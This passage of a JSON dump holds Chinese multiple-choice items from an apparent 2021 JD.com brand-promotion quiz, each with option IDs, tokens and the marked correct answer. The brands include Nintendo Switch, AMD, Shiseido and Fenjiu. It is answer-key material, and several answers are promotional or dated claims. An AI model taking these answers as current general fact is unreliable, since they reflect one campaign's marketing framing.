16:47:58","status":"1"},{"questionId":"6101434079","questionIndex":"1","questionStem":"佳得乐是什么类型的饮料?","options":"[{\"optionId\":\"LcUSx0BQiz4l8W1X7WIJah_J9YTXBJxAt2c\",\"optionDesc\":\"运动饮料\"},{\"optionId\":\"LcUSx0BQiz4l8W1X7WIJaCSfEb17NHlEvZs\",\"optionDesc\":\"果味饮料\"},{\"optionId\":\"LcUSx0BQiz4l8W1X7WIJaTnBuCnLfkYM4ug\",\"optionDesc\":\"功能饮料\"}]","questionToken":"LcUSx0BQiz4l8W0F_ioSOK5PkB-bQNyYT_X2nVW7cTRB60kT3XNKqj9CKiHCxoYwqtdwCL90nX18UXQRm385KRL5QOuRVw","correct":"{\"optionId\":\"LcUSx0BQiz4l8W1X7WIJah_J9YTXBJxAt2c\",\"optionDesc\":\"运动饮料\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"6101434080","questionIndex":"4","questionStem":"国行NS是哪一年正式登陆京东平台的?","options":"[{\"optionId\":\"LcUSx0BQiz4q-G1X7WIJaXelGfAoNZt9xHA\",\"optionDesc\":\"2020年\"},{\"optionId\":\"LcUSx0BQiz4q-G1X7WIJaE88VXYHaQL0-DA\",\"optionDesc\":\"2021年\"},{\"optionId\":\"LcUSx0BQiz4q-G1X7WIJalqdXB6HRZFKKv0\",\"optionDesc\":\"2019年\"}]","questionToken":"LcUSx0BQiz4q-G0A_ioSP7maLnhsXuzETABe6gvfgqs63mIzdMV3B5gBMdCx9Esx51viRzNinswixxnzv01DBVh3pLgT0g","correct":"{\"optionId\":\"LcUSx0BQiz4q-G1X7WIJalqdXB6HRZFKKv0\",\"optionDesc\":\"2019年\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6101434081","questionIndex":"5","questionStem":"以下哪个商品属于国行Nintendo Switch?","options":"[{\"optionId\":\"LcUSx0BQiz4q-W1X7WIJaUPvLEtooMa3YQ\",\"optionDesc\":\"Xbox 天蝎座\"},{\"optionId\":\"LcUSx0BQiz4q-W1X7WIJaBThbZKjuEu-VA\",\"optionDesc\":\"PS4 Slim\"},{\"optionId\":\"LcUSx0BQiz4q-W1X7WIJatidHjHPJK2npQ\",\"optionDesc\":\"Pro手柄\"}]","questionToken":"LcUSx0BQiz4q-W0B_ioSP9Wi-SNVQIlxbBA8Y3lE9qqw3J7phnD5Vs46P3ovXkhon5sjprxgP8oJSBRHDGyAl6SxQG39ZQ","correct":"{\"optionId\":\"LcUSx0BQiz4q-W1X7WIJatidHjHPJK2npQ\",\"optionDesc\":\"Pro手柄\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6101434082","questionIndex":"1","questionStem":"国行Nintendo Switch的主机标志配色为?","options":"[{\"optionId\":\"LcUSx0BQiz4q-m1X7WIJaBVrAiVGcqOnxZGYfA\",\"optionDesc\":\"蓝黄手柄+主机\"},{\"optionId\":\"LcUSx0BQiz4q-m1X7WIJaq6-Jw2LLCV6AWQ0LQ\",\"optionDesc\":\"红蓝手柄+主机\"},{\"optionId\":\"LcUSx0BQiz4q-m1X7WIJaepQmyVYOJEBgLMhYQ\",\"optionDesc\":\"灰色手柄+主机\"}]","questionToken":"LcUSx0BQiz4q-m0F_ioSPzlOloncL9FdHktnhHAWkaWe8oNU0kl-ZAxlHUjz0cB59QG65tSV_BDsPWNE65VWAIRj-feAvg","correct":"{\"optionId\":\"LcUSx0BQiz4q-m1X7WIJaq6-Jw2LLCV6AWQ0LQ\",\"optionDesc\":\"红蓝手柄+主机\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6101434083","questionIndex":"4","questionStem":"以下哪个不属于国行Nintendo Switch业务?","options":"[{\"optionId\":\"LcUSx0BQiz4q-21X7WIJarKSl9DG-XQJyVM\",\"optionDesc\":\"鼠标键盘\"},{\"optionId\":\"LcUSx0BQiz4q-21X7WIJaITH6FX9tujstXg\",\"optionDesc\":\"游戏主机\"},{\"optionId\":\"LcUSx0BQiz4q-21X7WIJaXjH7bIt_emYlKA\",\"optionDesc\":\"游戏周边\"}]","questionToken":"LcUSx0BQiz4q-20A_ioSOLcp2WzKJZ8beorNFxvt8OVDK9js0kK7hTnDaatV-ok7pqWlEQsQYS_v8IQT0WZo7ser2PzywQ","correct":"{\"optionId\":\"LcUSx0BQiz4q-21X7WIJarKSl9DG-XQJyVM\",\"optionDesc\":\"鼠标键盘\"}","create_time":"2/2/2021 16:47:54","update_time":"2/2/2021 16:47:54","status":"1"},{"questionId":"6101434084","questionIndex":"1","questionStem":"以下哪个国行Nintendo Switch配件最受欢迎","options":"[{\"optionId\":\"LcUSx0BQiz4q_G1X7WIJatvQo56guDN5QAfe\",\"optionDesc\":\"Pro手柄\"},{\"optionId\":\"LcUSx0BQiz4q_G1X7WIJaQ49j0nugvg2W473\",\"optionDesc\":\"Joy-Con腕带\"},{\"optionId\":\"LcUSx0BQiz4q_G1X7WIJaK2qy5Ebhb-P4DyX\",\"optionDesc\":\"Joy-Con充电握把\"}]","questionToken":"LcUSx0BQiz4q_G0F_ioSOA4Q1-4zt_11QSY7PJoAs0XrSz5Zului7FxkHfHFwEOMa0O-A3CRFcmuwZP2NOI3mM7n6Ol8HQ","correct":"{\"optionId\":\"LcUSx0BQiz4q_G1X7WIJatvQo56guDN5QAfe\",\"optionDesc\":\"Pro手柄\"}","create_time":"2/2/2021 16:47:51","update_time":"2/2/2021 16:47:51","status":"1"},{"questionId":"6101434085","questionIndex":"5","questionStem":"美素佳儿奶源地是哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4q_W1X7WIJaGB9UEW9bn2XpdzK\",\"optionDesc\":\"美国\"},{\"optionId\":\"LcUSx0BQiz4q_W1X7WIJaq-1v9SPN3SKtL_G\",\"optionDesc\":\"荷兰\"},{\"optionId\":\"LcUSx0BQiz4q_W1X7WIJaR8LciL_Wn3HTmce\",\"optionDesc\":\"中国\"}]","questionToken":"LcUSx0BQiz4q_W0B_ioSOPMmeNJmEM8a5byDi48Rv6id_obQnOtSvDrsXizoYe7L5CDxc1Po9K9LKEFQjF5MPNTt_qqysQ","correct":"{\"optionId\":\"LcUSx0BQiz4q_W1X7WIJaq-1v9SPN3SKtL_G\",\"optionDesc\":\"荷兰\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"6101434087","questionIndex":"4","questionStem":"1-3岁的幼儿适合喝几段奶粉?","options":"[{\"optionId\":\"LcUSx0BQiz4q_21X7WIJaELU9iP-hb3v1Os\",\"optionDesc\":\"4段\"},{\"optionId\":\"LcUSx0BQiz4q_21X7WIJahTF6FA5xE0pk-E\",\"optionDesc\":\"3段\"},{\"optionId\":\"LcUSx0BQiz4q_21X7WIJaQPw9RMYFMXFT58\",\"optionDesc\":\"2段\"}]","questionToken":"LcUSx0BQiz4q_20A_ioSOH0HE_8HTRsbitZO9MfFfXINZq_5kVcxzxMBVGg_5T8G-qV35bcGRsJAwiYlJW6jiBUaHxwbQQ","correct":"{\"optionId\":\"LcUSx0BQiz4q_21X7WIJahTF6FA5xE0pk-E\",\"optionDesc\":\"3段\"}","create_time":"2/2/2021 16:47:45","update_time":"2/2/2021 16:47:45","status":"1"},{"questionId":"6101434088","questionIndex":"5","questionStem":"皇家美素佳儿1-3段奶粉特点是?","options":"[{\"optionId\":\"LcUSx0BQiz4q8G1X7WIJaRqxm_-t7xtMkWYT\",\"optionDesc\":\"20倍乳铁蛋白\"},{\"optionId\":\"LcUSx0BQiz4q8G1X7WIJalbLEiCRQJe-yDeU\",\"optionDesc\":\"30倍乳铁蛋白\"},{\"optionId\":\"LcUSx0BQiz4q8G1X7WIJaOcfbftR5FLikTl9\",\"optionDesc\":\"50倍乳铁蛋白\"}]","questionToken":"LcUSx0BQiz4q8G0B_ioSOL6KtJkW2rvnLCfM_yUs221aprNpMfzgM0WqSP5QGmE6YyI5UYkWCaZgAwVP1kC5OQM6i7ndtg","correct":"{\"optionId\":\"LcUSx0BQiz4q8G1X7WIJalbLEiCRQJe-yDeU\",\"optionDesc\":\"30倍乳铁蛋白\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434089","questionIndex":"1","questionStem":"美素佳儿一共有几款消消乐礼盒?","options":"[{\"optionId\":\"LcUSx0BQiz4q8W1X7WIJaHOEMR5jTJltNwoD\",\"optionDesc\":\"6款\"},{\"optionId\":\"LcUSx0BQiz4q8W1X7WIJaoUL-Qzh7tPcLTIj\",\"optionDesc\":\"5款\"},{\"optionId\":\"LcUSx0BQiz4q8W1X7WIJac-CEppJ4BxolJMR\",\"optionDesc\":\"4款\"}]","questionToken":"LcUSx0BQiz4q8W0F_ioSP7IM6VWs3Bjh7uP_Niy2yh_J7CSJTWHFJ6kpcuf2m4u083AMGW4olXGiKzNBuWGGt7fS0ot92w","correct":"{\"optionId\":\"LcUSx0BQiz4q8W1X7WIJaoUL-Qzh7tPcLTIj\",\"optionDesc\":\"5款\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6101434090","questionIndex":"2","questionStem":"AMD是哪一年在硅谷创立的?","options":"[{\"optionId\":\"LcUSx0BQiz4r-G1X7WIJaNYOheHPPASV1lI\",\"optionDesc\":\"1989\"},{\"optionId\":\"LcUSx0BQiz4r-G1X7WIJaqpO-8sWa9RX_KU\",\"optionDesc\":\"1969\\t\\t\"},{\"optionId\":\"LcUSx0BQiz4r-G1X7WIJaS4G1g-5gZZmXxY\",\"optionDesc\":\"1979\"}]","questionToken":"LcUSx0BQiz4r-G0G_ioSOC-x-ViGbzS3JnjtfGdxSLJEAxWCP4MzfTIMypb4HOCHg7cbPMZwrDEmKVPmoMYH-wAwsufmFw","correct":"{\"optionId\":\"LcUSx0BQiz4r-G1X7WIJaqpO-8sWa9RX_KU\",\"optionDesc\":\"1969\\t\\t\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"6101434091","questionIndex":"5","questionStem":"AMD的总裁兼首席执行官是谁?","options":"[{\"optionId\":\"LcUSx0BQiz4r-W1X7WIJaSDHi0JnBx1GoqhQ\",\"optionDesc\":\"乔伯斯\"},{\"optionId\":\"LcUSx0BQiz4r-W1X7WIJaKvnEiSNH2l-HOUF\",\"optionDesc\":\"岳琪\"},{\"optionId\":\"LcUSx0BQiz4r-W1X7WIJaqcCeDED-49LwHz5\",\"optionDesc\":\"苏姿丰\"}]","questionToken":"LcUSx0BQiz4r-W0B_ioSOKVOFue-8FVG-U840FR3jF8u2NiGT6z5Xd1ZjMoPsQgCpg7Uk5vYpDYmQCll-Dp-7Twrv6Fncw","correct":"{\"optionId\":\"LcUSx0BQiz4r-W1X7WIJaqcCeDED-49LwHz5\",\"optionDesc\":\"苏姿丰\"}","create_time":"2/2/2021 16:48:10","update_time":"2/2/2021 16:48:10","status":"1"},{"questionId":"6101434092","questionIndex":"5","questionStem":"AMD中国区总部在那个城市?","options":"[{\"optionId\":\"LcUSx0BQiz4r-m1X7WIJabAzggI8igATbQNG\",\"optionDesc\":\"成都\"},{\"optionId\":\"LcUSx0BQiz4r-m1X7WIJaDoqmQK9Oo-46mx6\",\"optionDesc\":\"深圳\"},{\"optionId\":\"LcUSx0BQiz4r-m1X7WIJagkG5ZeDEkuO2PaQ\",\"optionDesc\":\"北京\"}]","questionToken":"LcUSx0BQiz4r-m0B_ioSONqLcM51mqrDa2_4lvY36hs1VMGl7zlfCmWbpfxNCYuTQna2IEBmf86-Ml7iMBu3Q51vzYH2pQ","correct":"{\"optionId\":\"LcUSx0BQiz4r-m1X7WIJagkG5ZeDEkuO2PaQ\",\"optionDesc\":\"北京\"}","create_time":"2/2/2021 16:47:37","update_time":"2/2/2021 16:47:37","status":"1"},{"questionId":"6101434093","questionIndex":"5","questionStem":"AMD的中文名字是什么?","options":"[{\"optionId\":\"LcUSx0BQiz4r-21X7WIJaKFv91xvOxlOPufHXg\",\"optionDesc\":\"超越\"},{\"optionId\":\"LcUSx0BQiz4r-21X7WIJadPNfkIBjn20fU2Ozg\",\"optionDesc\":\"超能\"},{\"optionId\":\"LcUSx0BQiz4r-21X7WIJathuhs1rzWIifzGrxA\",\"optionDesc\":\"超威\"}]","questionToken":"LcUSx0BQiz4r-20B_ioSP5mrWae5QZ_1M11kGsD6yifJYYmx3nz6EjuAwAyz_qxEs4eu7f5lCsX_oOX-ITNOMsEvLtxnXA","correct":"{\"optionId\":\"LcUSx0BQiz4r-21X7WIJathuhs1rzWIifzGrxA\",\"optionDesc\":\"超威\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 16:47:40","status":"1"},{"questionId":"6101434094","questionIndex":"3","questionStem":"AMD最新锐龙处理器采用几纳米的制程工艺?","options":"[{\"optionId\":\"LcUSx0BQiz4r_G1X7WIJafKqKwPnogeGZMA\",\"optionDesc\":\"12nm\"},{\"optionId\":\"LcUSx0BQiz4r_G1X7WIJaFzUuoFXD2-Q0sc\",\"optionDesc\":\"14nm\"},{\"optionId\":\"LcUSx0BQiz4r_G1X7WIJasaVzd0lzu2LlcY\",\"optionDesc\":\"7nm\"}]","questionToken":"LcUSx0BQiz4r_G0H_ioSOLIF0q2I96eVwvku6o9nnlB7XXCQ3RE6qGNy9SN1BilLsXjfepLEjAFREIOeCXay7zXbWNIQIw","correct":"{\"optionId\":\"LcUSx0BQiz4r_G1X7WIJasaVzd0lzu2LlcY\",\"optionDesc\":\"7nm\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6101434095","questionIndex":"5","questionStem":"大王goo.n纸尿裤是哪个国家的品牌?","options":"[{\"optionId\":\"LcUSx0BQiz4r_W1X7WIJaHjkm9QPVNRJnLw\",\"optionDesc\":\"中国\"},{\"optionId\":\"LcUSx0BQiz4r_W1X7WIJaV5tKF9UNzBRr6w\",\"optionDesc\":\"美国\"},{\"optionId\":\"LcUSx0BQiz4r_W1X7WIJakr87w9hz1CxVvQ\",\"optionDesc\":\"日本\\t\\t\"}]","questionToken":"LcUSx0BQiz4r_W0B_ioSP008ojS1akqcjSm9uRIXDMaaK_Ptt3kohouwZ2hxBfpO3tX12_6Amq5Gnxv7g1LYqrMknyFM3w","correct":"{\"optionId\":\"LcUSx0BQiz4r_W1X7WIJakr87w9hz1CxVvQ\",\"optionDesc\":\"日本\\t\\t\"}","create_time":"2/2/2021 16:47:54","update_time":"2/2/2021 16:47:54","status":"1"},{"questionId":"6101434096","questionIndex":"1","questionStem":"大王goo.n的中国工厂位于哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4r_m1X7WIJab6RbeeaBXRJ8iPj3A\",\"optionDesc\":\"上海\"},{\"optionId\":\"LcUSx0BQiz4r_m1X7WIJaE8hZyJ4v42yrHFH6A\",\"optionDesc\":\"苏州\"},{\"optionId\":\"LcUSx0BQiz4r_m1X7WIJauNlAixMNK1Qbny8gg\",\"optionDesc\":\"南通\\t\\t\"}]","questionToken":"LcUSx0BQiz4r_m0F_ioSP4gadeBOjrcTvp-B71bWFCVhlDMqEvYO8RxLzgySroQKvwRGF7J9xyoqDWioE4McX1rQLeboeA","correct":"{\"optionId\":\"LcUSx0BQiz4r_m1X7WIJauNlAixMNK1Qbny8gg\",\"optionDesc\":\"南通\\t\\t\"}","create_time":"2/2/2021 16:49:02","update_time":"2/2/2021 16:49:02","status":"1"},{"questionId":"6101434097","questionIndex":"3","questionStem":"以下哪个系列的产品不是大王的?","options":"[{\"optionId\":\"LcUSx0BQiz4r_21X7WIJaJn3ng3OKedvBd8\",\"optionDesc\":\"光羽系列\"},{\"optionId\":\"LcUSx0BQiz4r_21X7WIJab-tGxw4PbmQ3Ss\",\"optionDesc\":\"天使系列\"},{\"optionId\":\"LcUSx0BQiz4r_21X7WIJaoz04RcPZfBWlNU\",\"optionDesc\":\"皇家系列\\t\\t\"}]","questionToken":"LcUSx0BQiz4r_20H_ioSOAO2lY9aIbvakh4UQbMiU4uskoUY3wcdqrs4x9WF6RJ6PUKlvgUHK-8mC6gpYFUKYntkptrAZw","correct":"{\"optionId\":\"LcUSx0BQiz4r_21X7WIJaoz04RcPZfBWlNU\",\"optionDesc\":\"皇家系列\\t\\t\"}","create_time":"2/2/2021 16:48:29","update_time":"2/2/2021 16:48:29","status":"1"},{"questionId":"6101434098","questionIndex":"1","questionStem":"大王goo.n最高端的是哪个系列?","options":"[{\"optionId\":\"LcUSx0BQiz4r8G1X7WIJaVV6pnmaYwRmF8VA\",\"optionDesc\":\"天使系列\"},{\"optionId\":\"LcUSx0BQiz4r8G1X7WIJaB7467BxrEYO2RCY\",\"optionDesc\":\"花信风系列\"},{\"optionId\":\"LcUSx0BQiz4r8G1X7WIJakfbOsqtFLSv6qA9\",\"optionDesc\":\"鎏金系列\"}]","questionToken":"LcUSx0BQiz4r8G0F_ioSP2hqdv1Caik0UE9vYgY-P7nGYU2kPMcDcjzgxSqZohS2_CSsIj1vB1oOs3qnqnInUmNtPUKxTg","correct":"{\"optionId\":\"LcUSx0BQiz4r8G1X7WIJakfbOsqtFLSv6qA9\",\"optionDesc\":\"鎏金系列\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6101434099","questionIndex":"2","questionStem":"以下哪个不属于大王goo.n业务的?","options":"[{\"optionId\":\"LcUSx0BQiz4r8W1X7WIJajhiXKRHeZv0OA4D\",\"optionDesc\":\"婴儿喂养\\t\\t\"},{\"optionId\":\"LcUSx0BQiz4r8W1X7WIJafgnE0u49q_SOvAP\",\"optionDesc\":\"清洁纸品\"},{\"optionId\":\"LcUSx0BQiz4r8W1X7WIJaHQShg37boM60nts\",\"optionDesc\":\"婴儿纸尿裤\"}]","questionToken":"LcUSx0BQiz4r8W0G_ioSODgqq6sE_hxrTbAILVafb2I4t6BUCTzArcf4SEwtU9ui8KiD9wYedrXSE39xe4vIzI03d-4n9w","correct":"{\"optionId\":\"LcUSx0BQiz4r8W1X7WIJajhiXKRHeZv0OA4D\",\"optionDesc\":\"婴儿喂养\\t\\t\"}","create_time":"2/2/2021 16:47:51","update_time":"2/2/2021 16:47:51","status":"1"},{"questionId":"6101434100","questionIndex":"3","questionStem":"资生堂是哪个国家的品牌?","options":"[{\"optionId\":\"LcUSx0BQiz_lr4gjm3x3j5XBjARyDuE6lITS\",\"optionDesc\":\"美国\"},{\"optionId\":\"LcUSx0BQiz_lr4gjm3x3jM8QGNe1FzF9YWiI\",\"optionDesc\":\"日本\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_lr4gjm3x3jvns_mgLwbuABWT4\",\"optionDesc\":\"中国\"}]","questionToken":"LcUSx0BQiz_lr4hziDRs2QvOpCT-WRgiIJ2h2CjjRxyPlSC0ZMq6rwWp_o1mA6odT6YUAvcmpGNjt7CeYeN0VRX9H6e5zw","correct":"{\"optionId\":\"LcUSx0BQiz_lr4gjm3x3jM8QGNe1FzF9YWiI\",\"optionDesc\":\"日本\\t\\t\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"6101434101","questionIndex":"5","questionStem":"哪个品牌不属于资生堂?","options":"[{\"optionId\":\"LcUSx0BQiz_lrogjm3x3jrj4_xuO_c4GKDYq\",\"optionDesc\":\"可悠然\"},{\"optionId\":\"LcUSx0BQiz_lrogjm3x3jKL4j1S5py3jg6N6\",\"optionDesc\":\"飘柔\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_lrogjm3x3j9qOMsX31clvP8Bg\",\"optionDesc\":\"惠润\"}]","questionToken":"LcUSx0BQiz_lroh1iDRs3nfjf8BeE4L55LXGLemKuESlA7tMUigHGv3JCVyDLv05e-lFq3Ck7I7pijtCugjM-pD9TMMu5Q","correct":"{\"optionId\":\"LcUSx0BQiz_lrogjm3x3jKL4j1S5py3jg6N6\",\"optionDesc\":\"飘柔\\t\\t\"}","create_time":"2/2/2021 16:48:16","update_time":"2/2/2021 16:48:16","status":"1"},{"questionId":"6101434102","questionIndex":"5","questionStem":"以下哪个不属于资生堂业务的?","options":"[{\"optionId\":\"LcUSx0BQiz_lrYgjm3x3jE3BQ5qAmbvRKw\",\"optionDesc\":\"营养健康\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_lrYgjm3x3joJ7C41JhM4SrQ\",\"optionDesc\":\"身体护理\"},{\"optionId\":\"LcUSx0BQiz_lrYgjm3x3j8pMbUYUUyBBCQ\",\"optionDesc\":\"洗发护发\"}]","questionToken":"LcUSx0BQiz_lrYh1iDRs2aORAraE4I0wG7Agp5bta06RZGChsLuOn57zjauIjF9jY3Bz31GCwPFeHV5pNacXA1utKjxA8A","correct":"{\"optionId\":\"LcUSx0BQiz_lrYgjm3x3jE3BQ5qAmbvRKw\",\"optionDesc\":\"营养健康\\t\\t\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 16:47:40","status":"1"},{"questionId":"6101434103","questionIndex":"2","questionStem":"资生堂最畅销的品牌是哪个?","options":"[{\"optionId\":\"LcUSx0BQiz_lrIgjm3x3jLF-mgPXUq_mqQ\",\"optionDesc\":\"惠润\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_lrIgjm3x3jkerVinPekGpaQ\",\"optionDesc\":\"丝蓓绮\"},{\"optionId\":\"LcUSx0BQiz_lrIgjm3x3jwg1XRoH_NAvBQ\",\"optionDesc\":\"珊珂\"}]","questionToken":"LcUSx0BQiz_lrIhyiDRs2U8H4lidAdw71RZuwHUT1L3UXAmQ-UJn_h86LbNx3Cb1QzXNC_Or36UgQnQNWYLPa9J7mkmLQQ","correct":"{\"optionId\":\"LcUSx0BQiz_lrIgjm3x3jLF-mgPXUq_mqQ\",\"optionDesc\":\"惠润\\t\\t\"}","create_time":"2/2/2021 16:47:44","update_time":"2/2/2021 16:47:44","status":"1"},{"questionId":"6101434104","questionIndex":"1","questionStem":"资生堂标志的颜色是哪个?","options":"[{\"optionId\":\"LcUSx0BQiz_lq4gjm3x3jl7WgZZJU_ci4_oLNA\",\"optionDesc\":\"绿色\"},{\"optionId\":\"LcUSx0BQiz_lq4gjm3x3j7MKimWKRCTMHFV8pw\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LcUSx0BQiz_lq4gjm3x3jPhAi3-tntYqWrh8-g\",\"optionDesc\":\"红色\\t\\t\"}]","questionToken":"LcUSx0BQiz_lq4hxiDRs2Wh5q2ICkOCaRdLPd8_eD3YsUGmPCgrLJ1JKq47sEf9KiNIVhClYf2QRxTxxoqJijGRc0-3TpA","correct":"{\"optionId\":\"LcUSx0BQiz_lq4gjm3x3jPhAi3-tntYqWrh8-g\",\"optionDesc\":\"红色\\t\\t\"}","create_time":"2/2/2021 16:48:25","update_time":"2/2/2021 16:48:25","status":"1"},{"questionId":"6101434105","questionIndex":"3","questionStem":"汾酒产自哪里?","options":"[{\"optionId\":\"LcUSx0BQiz_lqogjm3x3jjS0CA89gtvCRMb2pA\",\"optionDesc\":\"贵州\"},{\"optionId\":\"LcUSx0BQiz_lqogjm3x3jIVYBrL06GJKkzqUpg\",\"optionDesc\":\"山西\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_lqogjm3x3j5UpwgzI7apxnNsv5w\",\"optionDesc\":\"陕西\"}]","questionToken":"LcUSx0BQiz_lqohziDRs3tAVmVqhywqF0E-ZYQv64HMfB5wGhOTPfP0oHPybRAWFSs6P7tPnfZS9_gig-WuuPfnzTBmnyg","correct":"{\"optionId\":\"LcUSx0BQiz_lqogjm3x3jIVYBrL06GJKkzqUpg\",\"optionDesc\":\"山西\\t\\t\"}","create_time":"2/2/2021 16:48:00","update_time":"2/2/2021 16:48:00","status":"1"},{"questionId":"6101434106","questionIndex":"4","questionStem":"汾酒是属于什么香型的白酒?","options":"[{\"optionId\":\"LcUSx0BQiz_lqYgjm3x3j28o6tyeeBJGvDHT\",\"optionDesc\":\"酱香型\"},{\"optionId\":\"LcUSx0BQiz_lqYgjm3x3jsjHuTDuhdwugx2k\",\"optionDesc\":\"浓香型\"},{\"optionId\":\"LcUSx0BQiz_lqYgjm3x3jKW7AWJ2MMeO75vS\",\"optionDesc\":\"清香型\\t\\t\"}]","questionToken":"LcUSx0BQiz_lqYh0iDRs2YGMBfvK7JgheIToCvGeE_kTDDrFwnKiy_67Gqhx7k5O39py8MT4g6sIaWYkyhLOiyf4raCcvQ","correct":"{\"optionId\":\"LcUSx0BQiz_lqYgjm3x3jKW7AWJ2MMeO75vS\",\"optionDesc\":\"清香型\\t\\t\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434107","questionIndex":"2","questionStem":"汾酒最畅销的是哪款?","options":"[{\"optionId\":\"LcUSx0BQiz_lqIgjm3x3j0zufdm86SmeWvH-\",\"optionDesc\":\"乳玻汾\"},{\"optionId\":\"LcUSx0BQiz_lqIgjm3x3jruLfUtH1_So3Qms\",\"optionDesc\":\"封坛\"},{\"optionId\":\"LcUSx0BQiz_lqIgjm3x3jOHVG0niIktL9d7h\",\"optionDesc\":\"黄盖玻汾\\t\\t\"}]","questionToken":"LcUSx0BQiz_lqIhyiDRs3oqGt_jiFXDrm9ZcsSZ994sd8eMvSGSWfoKoCbhVMD0i9pk2TJn5dh2rfdA2MN5i7tXDgV2IDg","correct":"{\"optionId\":\"LcUSx0BQiz_lqIgjm3x3jOHVG0niIktL9d7h\",\"optionDesc\":\"黄盖玻汾\\t\\t\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"6101434108","questionIndex":"1","questionStem":"汾酒最具代表的是哪款?","options":"[{\"optionId\":\"LcUSx0BQiz_lp4gjm3x3jkeniHl6n2GNXEYQTg\",\"optionDesc\":\"乳玻汾\"},{\"optionId\":\"LcUSx0BQiz_lp4gjm3x3j15kcr299Ih06TPakw\",\"optionDesc\":\"黄盖玻汾\"},{\"optionId\":\"LcUSx0BQiz_lp4gjm3x3jCGboLewzvQg--kwKQ\",\"optionDesc\":\"青花30\\t\\t\"}]","questionToken":"LcUSx0BQiz_lp4hxiDRs2QKo1CFwOxua9ldj6uJ7okewUE1yMiUC3uDdqP-rTNX4bihIM0Y8fN8Fb4-ralpIVlsMpX4zkg","correct":"{\"optionId\":\"LcUSx0BQiz_lp4gjm3x3jCGboLewzvQg--kwKQ\",\"optionDesc\":\"青花30\\t\\t\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"6101434109","questionIndex":"1","questionStem":"如何辨别汾酒的真伪?","options":"[{\"optionId\":\"LcUSx0BQiz_lpogjm3x3j0aKkHIBD22RrMWo\",\"optionDesc\":\"尝试酒劲大小\"},{\"optionId\":\"LcUSx0BQiz_lpogjm3x3jkqmCDstMrx0g5f7\",\"optionDesc\":\"闻酒香浓度\"},{\"optionId\":\"LcUSx0BQiz_lpogjm3x3jIkf6TUI1XvfaHgW\",\"optionDesc\":\"用手机扫瓶身二维码识别\"}]","questionToken":"LcUSx0BQiz_lpohxiDRs3s3EE4dn1iRP2KpzexDW3t2Gh7Q8_lTi12OioPBWub3EyTyyhCkEQCVmAOKc_qwzTL9L4skm5g","correct":"{\"optionId\":\"LcUSx0BQiz_lpogjm3x3jIkf6TUI1XvfaHgW\",\"optionDesc\":\"用手机扫瓶身二维码识别\"}","create_time":"2/2/2021 16:48:12","update_time":"2/2/2021 16:48:12","status":"1"},{"questionId":"6101434110","questionIndex":"3","questionStem":"合生元品牌历史有多久?","options":"[{\"optionId\":\"LcUSx0BQiz_kr4gjm3x3j5rJegueCNgax9w6Dw\",\"optionDesc\":\"5年\"},{\"optionId\":\"LcUSx0BQiz_kr4gjm3x3jBd-poNH6tpweYDIbg\",\"optionDesc\":\"20年以上\"},{\"optionId\":\"LcUSx0BQiz_kr4gjm3x3jnqMbLUiCbFgYZRm1Q\",\"optionDesc\":\"10年\"}]","questionToken":"LcUSx0BQiz_kr4hziDRs3riTBCuoHfyY759BcAcF4zbV7y4C8NXZzU09CcndbpZ3HsA7yxZJN79lSIBJfo3uirKa2rGj3g","correct":"{\"optionId\":\"LcUSx0BQiz_kr4gjm3x3jBd-poNH6tpweYDIbg\",\"optionDesc\":\"20年以上\"}","create_time":"2/2/2021 16:48:14","update_time":"2/2/2021 16:48:14","status":"1"},{"questionId":"6101434111","questionIndex":"1","questionStem":"以下哪个品牌不属于合生元集团?","options":"[{\"optionId\":\"LcUSx0BQiz_krogjm3x3jGlaozyQvmRy0zFa\",\"optionDesc\":\"妈咪爱\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_krogjm3x3jmxNBhv5Gw5o_4dV\",\"optionDesc\":\"Dodie\"},{\"optionId\":\"LcUSx0BQiz_krogjm3x3j3SqAuHmeJ264Zip\",\"optionDesc\":\"Swisse\"}]","questionToken":"LcUSx0BQiz_krohxiDRs2U1uxMdbdHuv6ppqffQiX-_AwLA2Dp5qH4FE0ANsl8M63-b30OIT4MFyjjJGlyKCPuE7RpAAaw","correct":"{\"optionId\":\"LcUSx0BQiz_krogjm3x3jGlaozyQvmRy0zFa\",\"optionDesc\":\"妈咪爱\\t\\t\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 